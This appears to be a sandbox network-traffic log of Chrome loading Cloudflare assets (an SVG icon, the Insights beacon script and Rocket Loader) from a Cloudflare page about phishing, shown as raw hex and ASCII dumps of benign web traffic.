2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 90 38 10 27 65 52 a2 e9 55 14 0a 3f 50 7a 37 b5 69 9c f7 27 fd e0 2e 16 45 65 d2 82 1d 3a ff 9d a4 02 a4 0a 39 b0 c6 01 80 22 e9 01 ee 6e 0d 6e 5c 24 ab e5 4c b1 44 71 81 27 f1 4a 17 e1 8b f1 19 20 15 c6 c0 4d 80 8a e2 2b 06 b2 40 0c 14 2b 1b 50 05 30 70 91 37 90 3e e4 80 20 28 4a d3 59 00 c9 d7 54 72 eb 08 49 47 8c 74 08 03 25 e4 a6 76 99 3c 37 15 37 3e 29 f4 9e 03 e0 82 cd 02 28 91 57 85 51 3a 7b 26 03 70 b4 28 c0 44 14 20 b3 09 05 2e 82 00 f5 84 31 50 44 f7 36 65 7f 15 e6 b4 ce c6 66 b5 88 e9 07 ca 91 0e 58 da f4 32 df 9e 36 ef 42 d3 e7 f5 c0 e4 63 01 41 00 be 12 0d cc 6d a7 8a da 74 76 29 db 81 19 bb 03 81 1e c9 80 25 64 42 fe 1e d1 81 9b 11 05 92 26 0e d8 d0 26 90 00 ad a2 36 9b 5d bd 0c f4 44 9e 5c 37 fe c0 c4 81 09 c7 03 99 c2 0f 54 31 31 e6 ba 26 Data Ascii: 8'eRU?Pz7i'.Ee:9"nn\$LDq'J M+@+P0p7> (JYTrIGt%v<77>)(WQ:{&p(D .1PD6efX26BcAmtv)%dB&&6]D\7T11&
2024-10-18 13:48:02 UTC	361	IN	Data Raw: 35 23 bc 25 7d 2f 10 84 d4 9f 2b 53 bf 0e de ae fc 82 af 43 05 08 02 65 80 89 4c 20 29 92 09 6b 92 20 64 64 f6 62 1a 80 b0 7b e6 83 d9 41 11 28 dd ae 2e cc c5 f7 26 f7 15 c5 08 03 36 f8 49 fb a3 be 00 16 1c 2a 00 51 cc a0 20 d7 44 37 41 40 b0 45 b6 83 fa 57 a7 0f 09 e9 b6 ce 09 9f 3b 34 c4 c5 81 ac 8d 4e 51 9d 3b 92 9b 9f e1 9f fb 31 6e 1e d2 14 e9 3c 26 b4 01 e6 ac b0 e4 02 57 a0 07 a0 18 28 ad b8 a4 f6 e4 56 75 60 72 80 9b 01 05 6a 33 67 4d 82 c1 d7 17 32 bc e9 3f 7f 6a 46 fb 7f 2e c8 97 ce 3c 70 bd 36 60 0a 0a 9c 04 d2 26 5b 6e 14 92 86 15 e8 91 1b 21 68 28 02 4f ac 02 b0 4c a4 6d a7 8a 36 44 87 fb d3 58 25 b7 00 c9 dc 48 47 e0 e1 8c 35 ac 90 4c d0 c1 4f 70 04 4c 4f ab 37 5d ad ed a8 e2 2f 4e c8 39 32 10 48 ef 2d 80 91 25 03 89 31 83 1a ef f1 59 89 61 Data Ascii: 5#%}/+SCeL )k ddb{A(.&6I*Q D7A@EW;4NQ;1n<&W(Vu`rj3gM2?jF.<p6`&[n!h(OLm6DX%HG5LOpLO7]/N92H-%1Ya

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	50704	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:02 UTC	834	OUT	GET /img/privacyoptions.svg HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:02 UTC	943	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:02 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"5a8d3dae7c1ddd64826cea94a93139d4" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3fPRcke2xQMOjJQplEN6q1OkPpNhWR8EMyn3KUPEmsWa%2FGuVm3M3CSfOzRkmmqQtncowqsLHacjdlvY9jWfAsFgjzpg7HkJOYjQ7nPdNjvh2VNrdciYL%2Bi5IXf2DizqFmV8bLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbd428df2c9a-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:02 UTC	426	IN	Data Raw: 37 30 31 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 33 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 Data Ascii: 701<?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 46 46 3b 7d 0a 09 2e 73 74 31 7b 66 69 6c 6c 2d 72 75 6c 65 3a 65 76 65 6e 6f 64 64 3b 63 6c 69 70 2d 72 75 6c 65 3a 65 76 65 6e 6f 64 64 3b 66 69 6c 6c 3a 23 30 30 36 36 46 46 3b 7d 0a 09 2e 73 74 32 7b 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 7d 0a 09 2e 73 74 33 7b 66 69 6c 6c 3a 23 30 30 36 36 46 46 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 67 3e 0a 09 3c 67 20 69 64 3d 22 66 69 6e 61 6c 2d 2d 2d 64 65 63 2e 31 31 2d 32 30 32 30 5f 31 5f 22 3e 0a 09 09 3c 67 20 69 64 3d 22 5f 78 33 30 5f 32 30 38 2d 6f 75 72 2d 74 6f 67 67 6c 65 5f 32 5f 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 37 35 2e 30 30 30 30 30 30 2c 20 2d 32 30 30 2e 30 30 30 30 30 30 29 22 3e 0a 09 09 09 3c 67 20 69 64 3d 22 46 69 6e 61 6c 2d 43 6f 70 79 2d 32 Data Ascii: FF;}.st1{fill-rule:evenodd;clip-rule:evenodd;fill:#0066FF;}.st2{fill:#FFFFFF;}.st3{fill:#0066FF;}</style><g><g id="final---dec.11-2020_1_"><g id="_x30_208-our-toggle_2_" transform="translate(-1275.000000, -200.000000)"><g id="Final-Copy-2
2024-10-18 13:48:02 UTC	5	IN	Data Raw: 67 3e 0a 0d 0a Data Ascii: g>
2024-10-18 13:48:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	50706	104.16.79.73	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:02 UTC	624	OUT	GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1 Host: static.cloudflareinsights.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.cloudflare.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:02 UTC	373	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:02 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 19948 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=86400 ETag: W/"2024.6.1" Last-Modified: Thu, 06 Jun 2024 15:52:56 GMT Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8d48fbd428092821-DFW
2024-10-18 13:48:02 UTC	996	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 33 34 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 32 35 36 3b 2b 2b 6e 29 74 5b 6e 5d 3d 28 6e 2b 32 35 36 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2e 73 75 62 73 74 72 28 31 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 7c 7c 30 2c 69 3d 74 3b 72 65 74 75 72 6e 5b 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b Data Ascii: !function(){var e={343:function(e){"use strict";for(var t=[],n=0;n<256;++n)t[n]=(n+256).toString(16).substr(1);e.exports=function(e,n){var r=n\|\|0,i=t;return[i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r+
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 3b 69 66 28 61 5b 36 5d 3d 31 35 26 61 5b 36 5d 7c 36 34 2c 61 5b 38 5d 3d 36 33 26 61 5b 38 5d 7c 31 32 38 2c 74 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 31 36 3b 2b 2b 63 29 74 5b 6f 2b 63 5d 3d 61 5b 63 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 69 28 61 29 7d 7d 2c 31 36 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 Data Ascii: ;if(a[6]=15&a[6]\|64,a[8]=63&a[8]\|128,t)for(var c=0;c<16;++c)t[o+c]=a[c];return t\|\|i(a)}},168:function(e,t,n){"use strict";var r=this&&this.__assign\|\|function(){return r=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arg
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 72 63 68 50 61 72 61 6d 73 29 7b 76 61 72 20 79 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 67 2e 72 65 70 6c 61 63 65 28 2f 5e 5b 5e 5c 3f 5d 2b 5c 3f 3f 2f 2c 22 22 29 29 2c 68 3d 79 2e 67 65 74 28 22 74 6f 6b 65 6e 22 29 3b 68 26 26 28 70 2e 74 6f 6b 65 6e 3d 68 29 3b 76 61 72 20 54 3d 79 2e 67 65 74 28 22 73 70 61 22 29 3b 70 2e 73 70 61 3d 6e 75 6c 6c 3d 3d 3d 54 7c 7c 22 74 72 75 65 22 3d 3d 3d 54 7d 7d 70 26 26 22 6d 75 6c 74 69 22 21 3d 3d 70 2e 6c 6f 61 64 26 26 28 70 2e 6c 6f 61 64 3d 22 73 69 6e 67 6c 65 22 29 2c 77 69 6e 64 6f 77 2e 5f 5f 63 66 42 65 61 63 6f 6e 3d 70 7d 69 66 28 73 26 26 70 26 26 70 2e 74 6f 6b 65 6e 29 7b 76 61 72 20 77 2c 53 2c 62 3d 21 31 3b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 Data Ascii: rchParams){var y=new URLSearchParams(g.replace(/^[^\?]+\??/,"")),h=y.get("token");h&&(p.token=h);var T=y.get("spa");p.spa=null===T\|\|"true"===T}}p&&"multi"!==p.load&&(p.load="single"),window.__cfBeacon=p}if(s&&p&&p.token){var w,S,b=!1;document.addEventList
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 2e 74 69 6d 69 6e 67 73 56 32 3d 7b 7d 2c 64 2e 76 65 72 73 69 6f 6e 73 2e 74 69 6d 69 6e 67 73 3d 32 2c 64 2e 64 74 3d 6d 5b 30 5d 2e 64 65 6c 69 76 65 72 79 54 79 70 65 2c 64 65 6c 65 74 65 20 64 2e 74 69 6d 69 6e 67 73 2c 74 28 6d 5b 30 5d 2c 64 2e 74 69 6d 69 6e 67 73 56 32 29 29 7d 31 3d 3d 3d 64 2e 76 65 72 73 69 6f 6e 73 2e 74 69 6d 69 6e 67 73 26 26 74 28 63 2c 64 2e 74 69 6d 69 6e 67 73 29 2c 74 28 75 2c 64 2e 6d 65 6d 6f 72 79 29 7d 65 6c 73 65 20 4f 28 64 29 3b 72 65 74 75 72 6e 20 64 2e 66 69 72 73 74 50 61 69 6e 74 3d 6b 28 22 66 69 72 73 74 2d 70 61 69 6e 74 22 29 2c 64 2e 66 69 72 73 74 43 6f 6e 74 65 6e 74 66 75 6c 50 61 69 6e 74 3d 6b 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 29 2c 70 26 26 28 70 2e 69 63 Data Ascii: .timingsV2={},d.versions.timings=2,d.dt=m[0].deliveryType,delete d.timings,t(m[0],d.timingsV2))}1===d.versions.timings&&t(c,d.timings),t(u,d.memory)}else O(d);return d.firstPaint=k("first-paint"),d.firstContentfulPaint=k("first-contentful-paint"),p&&(p.ic
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 65 72 65 64 3a 21 30 7d 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 52 28 29 3a 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 52 29 7d 29 29 3b 76 61 72 20 41 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4c 26 26 30 3d 3d 3d 76 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 64 3d 3d 3d 6c 7d 29 29 2e 6c 65 6e 67 74 68 7d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 2e 70 75 73 68 28 7b 69 64 3a 6c 2c 75 72 6c 3a 65 2c 74 73 3a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 Data Ascii: ered:!0}};"complete"===window.document.readyState?R():window.addEventListener("load",(function(){window.setTimeout(R)}));var A=function(){return L&&0===v.filter((function(e){return e.id===l})).length},_=function(e){v.push({id:l,url:e,ts:(new Date).getTime
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 72 63 65 4c 6f 61 64 54 69 6d 65 2c 45 2e 6c 63 70 2e 65 72 64 3d 63 2e 65 6c 65 6d 65 6e 74 52 65 6e 64 65 72 44 65 6c 61 79 2c 45 2e 6c 63 70 2e 69 74 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 63 2e 6c 63 70 52 65 73 6f 75 72 63 65 45 6e 74 72 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 69 6e 69 74 69 61 74 6f 72 54 79 70 65 2c 45 2e 6c 63 70 2e 66 70 3d 6e 75 6c 6c 3d 3d 3d 28 61 3d 6e 75 6c 6c 3d 3d 3d 28 6f 3d 63 2e 6c 63 70 45 6e 74 72 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 65 6c 65 6d 65 6e 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 66 65 74 63 68 70 72 69 6f 72 69 74 79 22 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 49 4e 50 22 Data Ascii: rceLoadTime,E.lcp.erd=c.elementRenderDelay,E.lcp.it=null===(i=c.lcpResourceEntry)\|\|void 0===i?void 0:i.initiatorType,E.lcp.fp=null===(a=null===(o=c.lcpEntry)\|\|void 0===o?void 0:o.element)\|\|void 0===a?void 0:a.getAttribute("fetchpriority"));break;case"INP"
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 64 65 64 42 6f 64 79 53 69 7a 65 26 26 28 72 2e 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 3d 6e 5b 30 5d 2e 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 29 2c 65 2e 64 74 3d 6e 5b 30 5d 2e 64 65 6c 69 76 65 72 79 54 79 70 65 29 2c 74 28 72 2c 65 2e 74 69 6d 69 6e 67 73 56 32 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 29 7b 76 61 72 20 74 3b 69 66 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 3d 3d 3d 65 26 26 45 2e 66 63 70 26 26 45 2e 66 63 70 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 45 2e 66 63 70 2e 76 61 6c 75 65 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3d 3d 3d 28 74 3d 73 2e 67 65 74 45 6e 74 72 69 Data Ascii: dedBodySize&&(r.decodedBodySize=n[0].decodedBodySize),e.dt=n[0].deliveryType),t(r,e.timingsV2)}}function k(e){var t;if("first-contentful-paint"===e&&E.fcp&&E.fcp.value)return E.fcp.value;if("function"==typeof s.getEntriesByType){var n=null===(t=s.getEntri
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 76 65 6e 74 54 79 70 65 3d 7b 7d 29 29 5b 72 2e 4c 6f 61 64 3d 31 5d 3d 22 4c 6f 61 64 22 2c 72 5b 72 2e 41 64 64 69 74 69 6f 6e 61 6c 3d 32 5d 3d 22 41 64 64 69 74 69 6f 6e 61 6c 22 2c 72 5b 72 2e 57 65 62 56 69 74 61 6c 73 56 32 3d 33 5d 3d 22 57 65 62 56 69 74 61 6c 73 56 32 22 2c 28 6e 3d 74 2e 46 65 74 63 68 50 72 69 6f 72 69 74 79 7c 7c 28 74 2e 46 65 74 63 68 50 72 69 6f 72 69 74 79 3d 7b 7d 29 29 2e 48 69 67 68 3d 22 68 69 67 68 22 2c 6e 2e 4c 6f 77 3d 22 6c 6f 77 22 2c 6e 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 2c 31 30 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 Data Ascii: ventType={}))[r.Load=1]="Load",r[r.Additional=2]="Additional",r[r.WebVitalsV2=3]="WebVitalsV2",(n=t.FetchPriority\|\|(t.FetchPriority={})).High="high",n.Low="low",n.Auto="auto"},104:function(e,t){!function(e){"use strict";var t,n,r,i,o,a=function(){return w
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 30 3f 72 3d 22 70 72 65 72 65 6e 64 65 72 22 3a 64 6f 63 75 6d 65 6e 74 2e 77 61 73 44 69 73 63 61 72 64 65 64 3f 72 3d 22 72 65 73 74 6f 72 65 22 3a 6e 2e 74 79 70 65 26 26 28 72 3d 6e 2e 74 79 70 65 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 2d 22 29 29 29 2c 7b 6e 61 6d 65 3a 65 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 3d 3d 3d 74 3f 2d 31 3a 74 2c 72 61 74 69 6e 67 3a 22 67 6f 6f 64 22 2c 64 65 6c 74 61 3a 30 2c 65 6e 74 72 69 65 73 3a 5b 5d 2c 69 64 3a 22 76 33 2d 22 2e 63 6f 6e 63 61 74 28 44 61 74 65 2e 6e 6f 77 28 29 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 38 39 39 39 39 39 39 39 39 39 39 39 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2b 31 65 31 32 29 2c 6e 61 76 69 67 61 74 69 6f 6e 54 79 70 65 3a 72 7d 7d 2c Data Ascii: 0?r="prerender":document.wasDiscarded?r="restore":n.type&&(r=n.type.replace(/_/g,"-"))),{name:e,value:void 0===t?-1:t,rating:"good",delta:0,entries:[],id:"v3-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12),navigationType:r}},
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 62 2c 21 30 29 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 72 65 72 65 6e 64 65 72 69 6e 67 63 68 61 6e 67 65 22 2c 62 2c 21 30 29 7d 2c 43 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 3c 30 26 26 28 77 3d 53 28 29 2c 45 28 29 2c 6c 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 3d 53 28 29 2c 45 28 29 7d 29 2c 30 29 7d 29 29 29 2c 7b 67 65 74 20 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 28 29 7b 72 65 74 75 72 6e 20 77 7d 7d 7d 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 6f 63 75 6d 65 6e 74 2e 70 Data Ascii: function(){removeEventListener("visibilitychange",b,!0),removeEventListener("prerenderingchange",b,!0)},C=function(){return w<0&&(w=S(),E(),l((function(){setTimeout((function(){w=S(),E()}),0)}))),{get firstHiddenTime(){return w}}},P=function(e){document.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	50705	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:02 UTC	815	OUT	GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:02 UTC	756	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:02 GMT Content-Type: application/javascript Content-Length: 12332 Connection: close Last-Modified: Wed, 16 Oct 2024 12:41:59 GMT ETag: "670fb497-302c" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jXWmnGl3JJtLlK2PxKMwDSgRqt6Z5vfDblqjHMmjq3i5E96VhcmjZA%2B1yWXB6gM%2FwZC0hrb9dTXR18VCHf9XxAzs1ObW6bhFsNOArJhSR5GTi0d10XdVHW9peCvkEWSePgBxXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbd43d116c0a-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sun, 20 Oct 2024 13:48:02 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-10-18 13:48:02 UTC	613	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 72 65 74 75 72 6e 22 63 66 2d 6d 61 72 6b 65 72 2d 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 6c 69 63 65 28 32 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 28 6e 3d 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 7c 7c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 6e 2c 5b 63 6f 6e 73 6f 6c 65 2c 22 5b 52 4f 43 4b 45 54 20 4c 4f 41 44 45 52 5d 20 22 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3b 76 61 72 20 6e 7d 66 75 6e 63 Data Ascii: !function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}func
